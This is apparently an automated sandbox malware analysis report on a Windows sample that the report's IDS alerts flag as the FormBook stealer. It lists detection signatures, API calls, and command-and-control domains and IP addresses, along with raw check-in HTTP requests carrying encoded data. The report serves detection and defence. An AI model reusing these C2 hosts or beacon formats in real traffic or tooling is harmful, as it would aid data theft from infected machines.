Windows Analysis Report
r6lOHDg9N9.exe

AI detected suspicious sample

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3550976082.0000000002690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3554169610.0000000004A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2094255182.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3551036891.00000000026E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2094963366.0000000005900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3552180620.00000000025B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2093329149.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3550782278.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: r6lOHDg9N9.exe

Joe Sandbox ML: detected

Source: r6lOHDg9N9.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: write.pdbGCTL source: svchost.exe, 00000001.00000002.2093567999.0000000002C19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093545639.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, fZXsbVktlmkz.exe, 00000005.00000002.3551281257.0000000000808000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: write.pdb source: svchost.exe, 00000001.00000002.2093567999.0000000002C19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093545639.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, fZXsbVktlmkz.exe, 00000005.00000002.3551281257.0000000000808000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: fZXsbVktlmkz.exe, 00000005.00000002.3551483374.0000000000B1E000.00000002.00000001.01000000.00000005.sdmp, fZXsbVktlmkz.exe, 00000007.00000000.2163431808.0000000000B1E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: r6lOHDg9N9.exe, 00000000.00000003.1712107540.0000000004730000.00000004.00001000.00020000.00000000.sdmp, r6lOHDg9N9.exe, 00000000.00000003.1713194191.0000000004590000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1996951815.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993960398.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093909663.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093909663.0000000003200000.00000040.00001000.00020000.00000000.sdmp, write.exe, 00000006.00000002.3553071659.0000000004450000.00000040.00001000.00020000.00000000.sdmp, write.exe, 00000006.00000003.2093550027.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000003.2095629016.00000000042AA000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3553071659.00000000045EE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: r6lOHDg9N9.exe, 00000000.00000003.1712107540.0000000004730000.00000004.00001000.00020000.00000000.sdmp, r6lOHDg9N9.exe, 00000000.00000003.1713194191.0000000004590000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1996951815.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993960398.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093909663.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2093909663.0000000003200000.00000040.00001000.00020000.00000000.sdmp, write.exe, write.exe, 00000006.00000002.3553071659.0000000004450000.00000040.00001000.00020000.00000000.sdmp, write.exe, 00000006.00000003.2093550027.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000003.2095629016.00000000042AA000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3553071659.00000000045EE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: write.exe, 00000006.00000002.3551184016.0000000002865000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3553914086.0000000004A7C000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000000.2163720492.00000000025DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2383157688.000000002979C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: write.exe, 00000006.00000002.3551184016.0000000002865000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3553914086.0000000004A7C000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000000.2163720492.00000000025DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2383157688.000000002979C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00475FE5
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001EC450 FindFirstFileW,FindNextFileW,FindClose,	6_2_001EC450

Source: C:\Windows\SysWOW64\write.exe	Code function: 4x nop then xor eax, eax		6_2_001D9BE0
Source: C:\Windows\SysWOW64\write.exe	Code function: 4x nop then mov ebx, 00000004h		6_2_041F04E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:55454 -> 154.23.184.60:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:55454 -> 154.23.184.60:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:55609 -> 209.74.95.29:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:55609 -> 209.74.95.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55578 -> 209.74.95.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55564 -> 209.74.95.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55594 -> 209.74.95.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55644 -> 136.143.186.12:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55674 -> 136.143.186.12:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55722 -> 133.130.35.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55733 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:55735 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:55735 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:55739 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:55739 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:55747 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:55747 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55729 -> 133.130.35.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55737 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55740 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55736 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:55731 -> 133.130.35.90:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:55731 -> 133.130.35.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55738 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55744 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55749 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55730 -> 133.130.35.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55741 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55742 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55746 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:55743 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:55743 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:55751 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:55751 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55748 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55745 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55659 -> 136.143.186.12:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55752 -> 104.16.6.253:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:55686 -> 136.143.186.12:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:55686 -> 136.143.186.12:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55734 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55732 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:55750 -> 13.248.169.48:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.030002304.xyz

Source: Joe Sandbox View	IP Address: 209.74.95.29 209.74.95.29
Source: Joe Sandbox View	IP Address: 136.143.186.12 136.143.186.12

Source: Joe Sandbox View	ASN Name: MULTIBAND-NEWHOPEUS MULTIBAND-NEWHOPEUS
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: CONTABODE CONTABODE

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:55453
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:49730

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,

0_2_0044289D

Source: global traffic	HTTP traffic detected: GET /4snq/?zhl=sdH/WbEy6w4fbVGTq9TqooXc2+84tGl6rFb6/eES0khOL/XioS6AKYaJ1BDLndLagFW2QAKxeq+tE1rAXqYu5rfm3z/1IJXzLuu54LPR0VmTOFYhtf9kUlg=&X8Rx1=znhhIbB8nN HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.wcm50.topConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /frpa/?X8Rx1=znhhIbB8nN&zhl=24K/DZkmoc7bHzW+Clhod14EO+WVCLplL8BuA7PGHf8qDHCdDnlgU8fv6Zi4ouLCHtMfxhN5psYeEWHEa5SDdP5UtNzqgNLmQXsJ8/qLKwWQm26aR0vbL2E= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.onemart.siteConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /tpid/?zhl=engtnyTNtTQDWNNE7yJ78I7feV66GlGe8mJE780+4T661tYAjJ0+Tu/RlOqq0mFfSRMDbaNY7odrQC55001RANar5S3nmyGvU4LO7et061dPBL96f2mSZAk=&X8Rx1=znhhIbB8nN HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.lanxuanz.techConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /8r0w/?X8Rx1=znhhIbB8nN&zhl=dzLnp/+gugxgWqqjxp0mT2IbFg5vFvQvzyx0DqvE635uns4HxFL1cM/nxlijH3CXr4Dn+r6a2xCcjbq3+Q1mOYlqiQ0t9purOwXAnxy8DKlJc7DWVLNExsI= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.komart.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /szao/?zhl=xOsStlDAPOZpiXvsnmuwA88PT6OXK0eKU2uFkXlZ1FsWMYGKmmEGy9m/gq1jsAT5roDCFnYyY1aFVaz80OwxPCjqIvTp6x+JqjH2NXebd4izNju9X+dPpzI=&X8Rx1=znhhIbB8nN HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.teerra.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /p6ze/?X8Rx1=znhhIbB8nN&zhl=/DXHDBoOk7chmVCQ4WrLaW1oMwdAaAsuBp0o9+oEddPaOIwOYOKBw5izboW0tBTgA9UkGMI+Rx3Lys9/a+AsrILRafTHrYx9fF0ImMQ3N0L+QaVHJSdbugw= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.dverkom.storeConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /s20z/?zhl=OlftTQ9hFz7OT6WFYxCuNpq7ExDWc0YdDdpK6+ifbkXRCNh9PINbo2rFvrFH3ENsTzWiAtX7VHJc4HngX2meKMfLmgA8ppz9ceAA4uFOpb8+rhwBxtyr4dg=&X8Rx1=znhhIbB8nN HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.dalong.siteConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /jkxr/?X8Rx1=znhhIbB8nN&zhl=nfZmoz3ZNLa38WJC9Znh/BTcpJZiT6WI1J67BrQcysz4VkbFIz1C0Mwuu1KgUH3yzYFpHG8bYhuiS80nX0UZ0iO0BQhIJ00ZnTsDdGtBOXLHdb2igebUo2U= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.030002304.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /9u26/?zhl=1KzGVmvOKYmCo1wpuW+r8NP8l/V7/SD2qfM36nKJjIWw5yRzOpl1V5yMlKb+oB0ZkJTr7r2IK3XtbWcKe6/PEalDkn3qwfCmDnUmPcfDndNPzM6SEYrZbR4=&X8Rx1=znhhIbB8nN HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.polarmuseum.infoConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

Source: global traffic	DNS traffic detected: DNS query: www.wcm50.top
Source: global traffic	DNS traffic detected: DNS query: www.everycreation.shop
Source: global traffic	DNS traffic detected: DNS query: www.onemart.site
Source: global traffic	DNS traffic detected: DNS query: www.lanxuanz.tech
Source: global traffic	DNS traffic detected: DNS query: www.komart.shop
Source: global traffic	DNS traffic detected: DNS query: www.teerra.shop
Source: global traffic	DNS traffic detected: DNS query: www.dverkom.store
Source: global traffic	DNS traffic detected: DNS query: www.dalong.site
Source: global traffic	DNS traffic detected: DNS query: www.030002304.xyz
Source: global traffic	DNS traffic detected: DNS query: www.polarmuseum.info
Source: global traffic	DNS traffic detected: DNS query: www.growdigitally.net

Source: unknown

HTTP traffic detected: POST /frpa/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflateHost: www.onemart.siteOrigin: http://www.onemart.siteConnection: closeContent-Length: 200Content-Type: application/x-www-form-urlencodedCache-Control: no-cacheReferer: http://www.onemart.site/frpa/User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Data Raw: 7a 68 6c 3d 37 36 69 66 41 73 73 2f 6f 70 44 71 64 6b 57 6e 49 46 35 6b 61 48 70 5a 4d 50 71 79 4f 36 52 37 55 4b 46 53 4d 37 2f 64 47 2f 6b 6f 42 6d 69 70 4f 55 52 64 61 36 66 54 6e 39 6d 51 7a 4f 44 2f 54 62 55 38 38 79 70 58 76 38 55 6b 50 6c 54 5a 66 35 2b 44 59 76 6b 39 6c 39 50 43 6e 64 66 41 52 57 39 58 33 38 75 37 4b 79 79 4e 74 69 69 73 64 47 7a 64 4c 46 75 70 2b 74 73 66 56 70 78 47 67 4c 62 6f 64 51 54 42 41 41 30 2f 4a 44 2f 49 30 6b 34 4d 61 61 64 56 56 57 71 58 64 71 6d 4e 32 51 75 78 45 4a 39 4f 30 35 34 53 50 70 32 77 31 4f 78 54 74 4e 4a 41 65 51 64 2b 2f 71 66 58 74 67 3d 3d Data Ascii: zhl=76ifAss/opDqdkWnIF5kaHpZMPqyO6R7UKFSM7/dG/koBmipOURda6fTn9mQzOD/TbU88ypXv8UkPlTZf5+DYvk9l9PCndfARW9X38u7KyyNtiisdGzdLFup+tsfVpxGgLbodQTBAA0/JD/I0k4MaadVVWqXdqmN2QuxEJ9O054SPp2w1OxTtNJAeQd+/qfXtg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:22:56 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a62026-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:23:20 GMTServer: ApacheContent-Length: 13928Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 